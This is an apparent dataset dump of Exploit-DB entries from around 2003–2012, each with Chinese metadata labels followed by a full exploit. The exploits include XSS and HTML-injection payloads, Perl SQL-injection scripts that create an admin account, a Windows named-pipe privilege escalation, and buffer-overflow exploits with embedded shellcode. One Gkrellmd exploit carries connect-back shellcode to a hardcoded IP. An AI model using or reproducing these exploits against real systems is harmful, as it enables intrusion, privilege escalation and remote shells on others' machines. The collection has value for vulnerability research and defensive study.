QLWD/code_shield huggingface dataset:
标题: Splatt Forum 3/4 - Post Icon HTML Injection EDB-ID: 22910 CVE: 2003-0590 类型: WEBAPPS 平台: PHP 发布日期: 2003-07-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/8198/info

Splatt Forum has been reported prone to a HTML injection vulnerability.

An attacker may save a Splatt Forum post form, and modify it so that the post icon value contains arbitrary attacker supplied HTML code. As a result, a malicious user may have the ability to submit a post to the site containing embedded script code. This code would be executed by a user's browser in the context of the vulnerable site. 

<html>
<body>
<script>
<!-- Modify here -->
var address='http://www.splatt.it/gate.html?mop=modload&name=Forums&file=newtopic';
</script>

<!-- Exploit form -->
<script>
document.write("<form action="+address+" method='post' name='coolsus'>");
</script>
Numero forum: <input type=text name=forum value=1 size=3><br>
Username: <input CLASS=textbox TYPE="TEXT" NAME="username" SIZE="25" MAXLENGTH="40"><br>
Password: <input CLASS=textbox TYPE="PASSWORD" NAME="password" SIZE="25" MAXLENGTH="25"><br>
Soggetto: <input CLASS=textbox TYPE="TEXT" NAME="subject" SIZE="75" MAXLENGTH="75"><br>
Messaggio:<br><textarea name="message" rows="10" cols="75" wrap="VIRTUAL">&lt;/textarea&gt;<br>
<input type=hidden name=bbcode value=0>
<input type=hidden name=smile value=0>
<input type=hidden name=notify value=0>
<b>Inject code:</b> <input type=text name=image_subject value='icon1.gif">HTML CODE<!-- "' size=100><br>
<input type="submit" name="submit" value=Invia class="Button">
</form>
</body>
</html> URL: https://www.exploit-db.com/exploits/22910
标题: TrouSerS - Denial of Service EDB-ID: 22904 CVE: 2012-0698 类型: DOS 平台: LINUX 发布日期: 2012-11-23 漏洞利用脚本: # crash_tcsd.py
# Copyright (c) 2012 Andy Lutomirski.  All rights reserved.
#
# Permission is granted to anyone to copy and redistribute this file verbatim.
# Permission is *not* granted to distribute modified copies or derivative works.

import struct
import socket
import time

# UnloadBlob_PCR_EVENT also appears buggy.

crasher = struct.pack('>IIIIIII',
                      28, # packet_size = sizeof(tcsd_packet_hdr)
                      11, # ordinal: LoadKeyByBlob
                      1, # num_parms = 1 (so first getData doesn't bail)
                      0, # type_size = 0
                      0x80000000, # type_offset is off in lala land
                      0, # parm_size = 0 (skip checking)
                      28, # parm_offset: see getTCSDPacket
                      )

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
s.connect(('127.0.0.1', 30003))
s.send(crasher)
s.shutdown(socket.SHUT_WR)
s.close() URL: https://www.exploit-db.com/exploits/22904
标题: Virtual Programming VP-ASP 5.00 - 'shopexd.asp' SQL Injection (1) EDB-ID: 22888 CVE: 2003-0560 类型: WEBAPPS 平台: ASP 发布日期: 2003-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/8159/info

It has been reported that VP-ASP does not sufficiently sanitize user input passed to the shopexd.asp script contained in the software. As a result, it may be possible for remote attackers to embed SQL commands which are to be passed to the underlying database engine.

#!/usr/bin/perl
# PRIVATE***PRIVATE***PRIVATE***PRIVATE***PRIVATE***PRIVATE***PRIVATE
# 1ndonesian Security Team (1st)
# ==============================
# VP-ASP Shopping Cart - Exploit
# Discover by : TioEuy & AresU;
# Greetz to: syzwz (ta for da ipod), Bosen, sakitjiwa, muthafuka all
# hackers@centrin.net.id/austnet.org, #romance@centrin.net.id
# http://bosen.net/releases/
use Socket;

$dodolbasik = "tioeuy.pl, VPASP exploit by TioEuy&AresU ";
$aksesnya
="1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29";
$pieldnya = '"fldusername","fldpassword","fldaccess"';

if ($#ARGV<4)
{
  print "\n$dodolbasik";
  print "\n\n Usage: perl tioeuy.pl <server> <full path> <id> <user>
<password> \n\n";
  exit;
}
$kupret="$ARGV[1]shopexd.asp?id=$ARGV[2];insert into tbluser
($pieldnya)
values ('$ARGV[3]','$ARGV[4]','$aksesnya')--";
$kupret=~s/\ /%20/g;
$kupret="GET $kupret HTTP/1.0\r\nHost: $ARGV[0]\r\n\r\n";
print $kupret;

$port=80;
$host=$ARGV[0];
$target = inet_aton($host);
@hasil=sendraw($kupret);
print $gembel;
print @hasil;

# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw {   # this saves the whole transaction anyway
        my ($pstr)=@_;

        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
                        
        if(connect(S,pack "SnA4x8",2,$port,$target)){
                my @in;
                select(S);      $|=1;   print $pstr;
                while(<S>){ push @in, $_;}
                select(STDOUT); close(S); return @in;
        }
} URL: https://www.exploit-db.com/exploits/22888
标题: Virtual Programming VP-ASP 5.00 - 'shopexd.asp' SQL Injection (2) EDB-ID: 22889 CVE: 2003-0560 类型: WEBAPPS 平台: ASP 发布日期: 2003-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/8159/info
 
It has been reported that VP-ASP does not sufficiently sanitize user input passed to the shopexd.asp script contained in the software. As a result, it may be possible for remote attackers to embed SQL commands which are to be passed to the underlying database engine.

#!/usr/bin/perl -w
$pamer = "
1ndonesian Security Team (1st)
==============================
tio-fux.pl, vpasp SQL Injection Proof of Concept
Exploit by  : Bosen & TioEuy
Discover by : TioEuy, AresU
Greetz to   : AresU, syzwz (ta for da ipod), TioEuy, sakitjiwa,
muthafuka all #hackers\@centrin.net.id/austnet.org
http://bosen.net/releases/
"; # shut up ! we're the best in our country :)

use LWP::UserAgent;  # LWP Mode sorry im lazy :)
use HTTP::Request;
use HTTP::Response;
$| = 1;
print $pamer;
if ($#ARGV<3){
  print "\n Usage: perl tio-fux.pl <uri> <prod-id> <user> <password>
  \n\n";
    exit;
    }
    my $biji    =
    "1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29";
    $tio     = "$ARGV[0]/shopexd.asp?id=$ARGV[1]";
    $tio    .= ";insert into tbluser
    (\"fldusername\",\"fldpassword\",\"fldaccess\") ";
    $tio    .= "values ('$ARGV[2]','$ARGV[3]','$biji')--";

    my $bosen  = LWP::UserAgent->new();
    my $gembel = HTTP::Request->new(GET => $tio);
    my $dodol  = $bosen->request($gembel);
    if ($dodol->is_error()) {
       printf " %s\n", $dodol->status_line;
       } else {
          print "Tuing !\n";
   }
   print "\n680165\n"; URL: https://www.exploit-db.com/exploits/22889
标题: CPanel 5.0/5.3/6.x - Admin Interface HTML Injection EDB-ID: 22874 CVE: 2003-0521 类型: WEBAPPS 平台: PHP 发布日期: 2003-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/8119/info

cPanel is prone to an HTML injection vulnerability. It is possible for remote attacks to include hostile HTML and script code in requests to cPanel, which will be logged. When logs are viewed by an administrative user, the injected code could be rendered in their browser in the context of the site hosting cPanel.

GET /<script>alert(document.cookie);</script> HTTP/1.0
Host: www.example.com URL: https://www.exploit-db.com/exploits/22874
标题: ProductCart 1.5/1.6/2.0 - File Disclosure EDB-ID: 22868 CVE: 2003-1304 类型: WEBAPPS 平台: ASP 发布日期: 2003-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/8112/info

A vulnerability has been reported for ProductCart that may result in an attacker obtaining the contents of the database file.

http://victimhost/productcart/database/EIPC.mdb URL: https://www.exploit-db.com/exploits/22868
标题: Microsoft Windows Server 2000 - CreateFile API Named Pipe Privilege Escalation (1) EDB-ID: 22882 CVE: 2003-0496 类型: LOCAL 平台: WINDOWS 发布日期: 2003-07-08 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8128/info

It has been reported that Microsoft Windows does not properly handle named pipes through the CreateFile API. Because of this, an attacker may be able to gain access to the SYSTEM account.


/*  tac0tac0.c - pay no attention to the name, long
story...
  *
  *  Author:  Maceo
  *  Modified to take advantage of CAN-2003-0496 Named
Pipe Filename
  *  Local Privilege Escalation Found by @stake. Use with
their Advisory.
  *  -wirepair@sh0dan.org http://sh0dan.org
  *
  *
  *  All credits for code go to Maceo, i really did
minimal work
  *  with his code, it took me like 3 seconds heh.
  *  Shouts to #innercircle,
  *
  */


#include <stdio.h>
#include <windows.h>


int main(int argc, char **argv)
{
   DWORD dwNumber = 0;
   DWORD dwType = REG_DWORD;
   DWORD dwSize = sizeof(DWORD);

   if (argc != 2) {
   fprintf(stderr, "Usage: %s <cmd.exe>\nNamed Pipe Local
Priv Escalation found by @stake.\n"
        "This code is to be used with MS-SQL exactly as
outlined in their advisory\n"
        "All credit for this code goes to Maceo, he did a
fine job.. -wire\n",argv[0]);
        exit(1);
   }
   // build the next named pipe name //
   char szPipe[64];
   //sprintf(szPipe, "\\\\.\\pipe\\net\\NtControlPipe%lu",
++dwNumber);
   sprintf(szPipe, "\\\\.\\pipe\\poop");

   // create the named pipe before scm can //
   HANDLE hPipe = 0;
   hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
                            PIPE_TYPE_MESSAGE|PIPE_WAIT,
                            2, 0, 0, 0, NULL);
   if (hPipe == INVALID_HANDLE_VALUE)
   {
     printf ("Failed to create named pipe:\n  %s\n",
szPipe);
     return 3;
   }


   ConnectNamedPipe (hPipe, NULL);

   // assume the identity of the client //
   if (!ImpersonateNamedPipeClient (hPipe))
   {
     printf ("Failed to impersonate the named pipe.\n");
     CloseHandle(hPipe);
     return 5;
   }


   // display impersonating users name //
   dwSize  = 256;
   char szUser[256];
   GetUserName(szUser, &dwSize);
   printf ("Impersonating: %s\n", szUser);

   system(argv[1]);
   CloseHandle(hPipe);
   return 0;
} URL: https://www.exploit-db.com/exploits/22882
标题: IglooFTP PRO 3.8 - Multiple Buffer Overflow Vulnerabilities (2) EDB-ID: 22872 CVE: 2003-0561 类型: REMOTE 平台: WINDOWS 发布日期: 2003-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/8117/info
 
IglooFTP PRO for Windows platforms has been reported prone to multiple buffer overrun vulnerabilities.
 
The issue likely presents itself due do a lack of sufficient bounds checking performed on data that is copied into a reserved internal memory buffer. Remote arbitrary code execution has been confirmed.
 
It should be noted that although this vulnerability has been reported to affect IglooFTP PRO version 3.8, other versions might also be affected.


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22872.zip URL: https://www.exploit-db.com/exploits/22872
标题: IglooFTP PRO 3.8 - Multiple Buffer Overflow Vulnerabilities (1) EDB-ID: 22871 CVE: 2003-0561 类型: REMOTE 平台: WINDOWS 发布日期: 2003-07-07 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8117/info

IglooFTP PRO for Windows platforms has been reported prone to multiple buffer overrun vulnerabilities.

The issue likely presents itself due do a lack of sufficient bounds checking performed on data that is copied into a reserved internal memory buffer. Remote arbitrary code execution has been confirmed.

It should be noted that although this vulnerability has been reported to affect IglooFTP PRO version 3.8, other versions might also be affected.

/* IglooExploit.c (Windows XP Professional Build 2600.x)
*
* vkhoshain@hotmail.com
* ---------------------------
* glooFTP Pro 3.8 Remote exploit code is ready to use ;)
* all you need to do is compile the source code and then
* run the program and wait for glooFTP Pro 3.8 connection
*
* This one doesn't do anything , just run notepad.exe and then crash
* the program by :
* INT 3 ;)
*
*/  

#include "winsock2.h"
#include "stdio.h"
#pragma comment (lib,"ws2_32")

int main()
{

        char spend[1024];
        char shellcode[] =
        "\x90\x90\x90\x90\x90\xEB\x13\x5F\x66\x31\xC0\x88\x47"
                                        "\x0E\x40\x50\x57\xB8\xC6\x84\xE6\x77\xFF\xD0\xCD\x03"
                                    "\xE8\xE8\xFF\xFF\xFF\x6E\x6F\x74\x65\x70\x61\x64\x20"    
                                                "\x20\x20\x20\x20\x20\x20\x23";           
        WSADATA wsaData;                                                       
        int s1,spt;
        struct sockaddr_in p;
        struct sockaddr_in emp;
        int len;
// Startup ...
        WSAStartup(0x0101,&wsaData);


// Creating first socket!
printf("Creating socket ...\n");
        if ((s1=socket(AF_INET,SOCK_STREAM,0))==-1){
                printf("Err in Creating socket\n");
                closesocket(s1);
                return 0;
        }
        p.sin_port = htons(21);
        p.sin_family =AF_INET; 
        p.sin_addr.s_addr = INADDR_ANY;



// Binding ---
printf("Binding ...\n");
        if ((bind(s1,(struct sockaddr*) &p,sizeof(p)))==-1)
        {
                printf("Err in Bind ...\n");
                closesocket(s1);
                return 0;
        }

printf("going to start listening\n");
if ((listen(s1,5))==-1)
{
        printf("Err in liten method ..\n");
        closesocket(s1);
        return 0;
}

len=sizeof(emp);

// ACCEPTING
printf("Listening on port 21 , please wait for glooFTP(ver3.8) connection
...\n");
spt=accept(s1,&emp,&len);
printf("The ftp client has just connected ,please wait ...\n");

send(spt,"200 ",4,0);                      // Sending "200 "


send(spt,spend,1024,0);                         //to recive RET addr place


send(spt,"\x79\xfc\xe9\x77",4,0);         //EIP Address (RET Addr)


send(spt,shellcode,46,0);                 //Sending Shellcode

send(spt,"\n",1,0);

closesocket(s1);
closesocket(spt);
printf("Shellcode has just sent , Done.\n");

return 0;

} URL: https://www.exploit-db.com/exploits/22871
标题: ProductCart 1.5/1.6/2.0 - 'MSG.asp' Cross-Site Scripting EDB-ID: 22866 CVE: 2003-0523 类型: WEBAPPS 平台: ASP 发布日期: 2003-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/8108/info

A cross-site scripting vulnerability has been reported for ProductCart. The vulnerability exists due to insufficient sanitization of some user-supplied values.

Exploitation could permit an attacker to steal cookie-based authentication credentials or launch other attacks.

http://www.website.com/ProductCart/pc/msg.asp?message=><script>alert
(document.cookie);</script>

http://www.website.com/ProductCart/pc/msg.asp?message=<iframe%20src="C:\"%
20width=400%20height=400></iframe> URL: https://www.exploit-db.com/exploits/22866
标题: Apple QuickTime 7.7.2 - Targa image Buffer Overflow EDB-ID: 22855 CVE: 2012-3755 类型: DOS 平台: WINDOWS 发布日期: 2012-11-20 漏洞利用脚本: *Application : Apple QuickTime
Versions : <=  before 7.7.3
CVE : 2012-3755*
*Impact : 9.3 (High)*
*References* *:* *
http://lists.apple.com/archives/security-announce/2012/Nov/msg00002.html*
*Auther : Senator of Pirates*
*E-Mail : SenatorofPirates.team[at]gmail.com
FaceBook : /SenatorofPirates
                  **/SenatorofPiratesInfo
Greetz : To Morocco

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
*

*Vulnerability :

A buffer overflow vulnerability in QuickTime PictureViewer.exe and the
specific flaw exists within TGA file images encoded data, When encountering
an invalid encoded width field and can be result a heap-based buffer
overflow occur.
And this vulnerability allows remote attackers to execute arbitrary code or
cause a denial of service (application crash) via a crafted Targa image. *
*
PoC :

http://www18.zippyshare.com/v/40547915/file.html
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22855.tga

* URL: https://www.exploit-db.com/exploits/22855
标题: Adobe Unix Acrobat Reader 4.0/5.0 - WWWLaunchNetscape Buffer Overflow EDB-ID: 22846 CVE: 2003-0508 类型: DOS 平台: LINUX 发布日期: 2003-07-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/8069/info

An individual has reported that Adobe Acrobat Reader for Unix systems is vulnerable to a buffer overflow condition. The error is allegedly related to the processing of hyperlinks, in the function "WWWLaunchNetscape". The flaw is triggered only when Netscape is set as the browser to be used in the preferences (this is the default configuration). This vulnerability may be exploited through maliciously constructed PDF files. 

It should be noted that it is not confirmed that Acrobat Reader for Windows is not affected. Users of both versions should exhibit caution until there is a response from the vendor. 4.x versions of the reader are reportedly not prone to this issue.

#!/usr/bin/perl --
#
# Demo for acroread 5.0.7 on Debian Linux
#
print '
Writing TeX file ...
';
# For acroread 5.0.5 use 248 Bs instead of 504
open P, '>attack.tex';
print P '
\documentclass[11pt]{letter}
\usepackage{times}
\usepackage[pdfpagemode=none,pdfstartview=FitH]{hyperref}
\begin{document}
   \href{mailto:X',("B"x504).("A"x4),'}
   {\texttt{mailto:X("B"x504).("A"x4)}}
\end{document}
';
close P;
#
print '
Running pdflatex ...
';
system 'pdflatex attack';
#
#!# URL: https://www.exploit-db.com/exploits/22846
标题: InterSystems Cache 4.1.15/5.0.x - Insecure Default Permissions EDB-ID: 22847 CVE: 2003-0497 类型: LOCAL 平台: LINUX 发布日期: 2003-07-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/8070/info

It has been reported that the permissions set by default on the files and directories comprising InterSystems Cache are insecure. The permissions on directories allegedly allow for any user to overwrite any file. This creates many opportunities for local attackers to obtain root privileges.

#!/bin/sh
# kokaninATdtors playing with 5.0.2.607.1_linux_su.tar (cache) on leenooks.
# this started as an exploit for scenario1 in
# http://www.idefense.com/advisory/07.01.03.txt, but ended up as something else
# A snippetisnip from an strace of the cuxs binary shows:
# execve("../bin/cache", ["cache"], [/* 19 vars */])
# -------^^^^^^^^^^^^^^------- which is stupid stupid stupid since cuxs is +s

TARGET=`find / -type f -name cuxs -perm -4000 2>/dev/null`
mkdir -p crapche/bin
cd crapche/bin
cp `which ash` cache
$TARGET URL: https://www.exploit-db.com/exploits/22847
标题: Gkrellmd 2.1 - Remote Buffer Overflow (1) EDB-ID: 22831 CVE: 2003-0723 类型: DOS 平台: FREEBSD 发布日期: 2003-06-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/8022/info

GKrellMd has been reported prone to a remote buffer overflow vulnerability, arbitrary code execution is possible.

The issue presents itself due to a lack of sufficient bounds checking performed on network-based data. If data exceeding the maximum reserved memory buffer size is received arbitrary memory may be corrupted.

A remote attacker may ultimately exploit this issue remotely to seize control of the affected daemon and execute arbitrary code.

This vulnerability has been reported to affect Gkrellm 2.1.13.

 #!/usr/bin/perl -s
 use IO::Socket;
 #
 # proof of concept code
 # tested: grkellmd 2.1.10
 #



  if(!$ARGV[0] || !$ARGV[1])
  { print "usage: ./gkrellmcrash.pl <host> <port>\n"; exit(-1); }

 $host = $ARGV[0];
 $port = $ARGV[1];
 $exploitstring = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

 $socket = new IO::Socket::INET
 (
 Proto    => "tcp",
 PeerAddr => $host,
 PeerPort => $port,
 );

 die "unable to connect to $host:$port ($!)\n" unless $socket;

 print $socket "gkrellm 2.1.10\n"; #tell the daemon wich client we have
 sleep(1);
 print $socket $exploitstring;

 close($socket); URL: https://www.exploit-db.com/exploits/22831
标题: Elm 2.3/2.4 - TERM Environment Variable Local Buffer Overrun EDB-ID: 22836 CVE: 1999-1184 类型: LOCAL 平台: LINUX 发布日期: 1997-05-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/8030/info

A buffer overrun has been discovered in Elm. The problem occurs due to insufficient bounds checking performed before copying user-supplied data into an internal memory buffer. Specifically, a TERM environment variable containing excessive data would cause a buffer within Elm to be overrun.

As Elm is installed setgid on some systems, the exploitation of this vulnerability could potentially allow for the elevation of local privileges.

# DSR-korean-elm.pl - kokaninATdtors.net vs. /usr/ports/korean/elm
# offset, retaddr and shellcode is for my FreeBSD 4.7-RELEASE, YMMV
# reinventing the wheel, http://www.insecure.org/sploits/elm.curses.overflow.html
# shellcode by zillionATsafemode.org
# ko-elm-2.4h4.1      ELM Mail User Agent, patched for Korean E-Mail
# elm is setgid 'bin' 

$len = 512;
$ret = 0xbfbffd68;
$nop = "\x90";
$offset = 0;
$shellcode =  "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x31\xc0\x50\x68".
  "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50".
  "\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
              
if (@ARGV == 1) {
    $offset = $ARGV[0];
}
  
for ($i = 0; $i < ($len - length($shellcode)); $i++) {
    $buffer .= $nop;
}
$buffer .= $shellcode;
$new_ret = pack('l', ($ret + $offset));
local($ENV{'EGG'}) = $buffer; 
local($ENV{'TERM'}) = $new_ret x 12; 
exec("elm"); URL: https://www.exploit-db.com/exploits/22836
标题: Microsoft Windows XP/2000/NT 4.0 - HTML Converter HR Align Buffer Overflow EDB-ID: 22824 CVE: 2003-0469 类型: REMOTE 平台: WINDOWS 发布日期: 2003-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/8016/info

Microsoft Windows platforms are prone to a boundary condition error in the HTML converter. If the 'Align' attribute of the 'HR' tag is given an excessively large value, an internal buffer will be overrun. This issue can be exploited via applications which use the HTML converter (such as Internet Explorer) and will permit arbitrary code to be executed on a vulnerable system.

<script>
wnd=open("about:blank","","");
wnd.moveTo(screen.Width,screen.Height);
WndDoc=wnd.document;
WndDoc.open();
WndDoc.clear();
buffer="";
for(i=1;i<=127;i++)buffer+="X";
buffer+="DigitalScream";
WndDoc.write("<HR align='"+buffer+"'>");
WndDoc.execCommand("SelectAll");
WndDoc.execCommand("Copy");
wnd.close();
</script> URL: https://www.exploit-db.com/exploits/22824
标题: Gkrellmd 2.1 - Remote Buffer Overflow (2) EDB-ID: 22832 CVE: 2003-0723 类型: REMOTE 平台: FREEBSD 发布日期: 2003-06-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/8022/info
 
GKrellMd has been reported prone to a remote buffer overflow vulnerability, arbitrary code execution is possible.
 
The issue presents itself due to a lack of sufficient bounds checking performed on network-based data. If data exceeding the maximum reserved memory buffer size is received arbitrary memory may be corrupted.
 
A remote attacker may ultimately exploit this issue remotely to seize control of the affected daemon and execute arbitrary code.
 
This vulnerability has been reported to affect Gkrellm 2.1.13.

#!/usr/bin/perl -s
# kokaninATdtors.net playing with gkrellmd on FreeBSD 4.8-RELEASE
# advisory on http://packetstormsecurity.nl/0306-exploits/gkrellmd
# I just ripped their code and made it do something useful instead
# shellcode by bighawk(i think) - wow this is badly formatted.

use IO::Socket;
if(!$ARGV[0] || !$ARGV[1])
{ print "usage: ./DSR-geekrellm.pl <host> <port> (default gkrellmd is 19150)\n"; exit(-1); }

$host = $ARGV[0];
$port = $ARGV[1];
$ret = pack("l",0xbfbffa60);
$shellcode = "\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\xd9\x9d\x26\x26\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\x62\xcd\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80";
#--> connect-back to a useless ip, change it:)                                     ^^217.157.38.38^        ^^10000^
$nop = "\x90";
$buf = "A" x 128 . $ret x 2 . $nop x 500 . $shellcode;

$socket = new IO::Socket::INET
(
Proto    => "tcp",
PeerAddr => $host,
PeerPort => $port,
);

die "unable to connect to $host:$port ($!)\n" unless $socket;

print $socket "gkrellm 2.1.10\n"; #tell the daemon wich client we have
sleep(1); #might have to adjust this on slow connections
print $socket $buf;

close($socket); URL: https://www.exploit-db.com/exploits/22832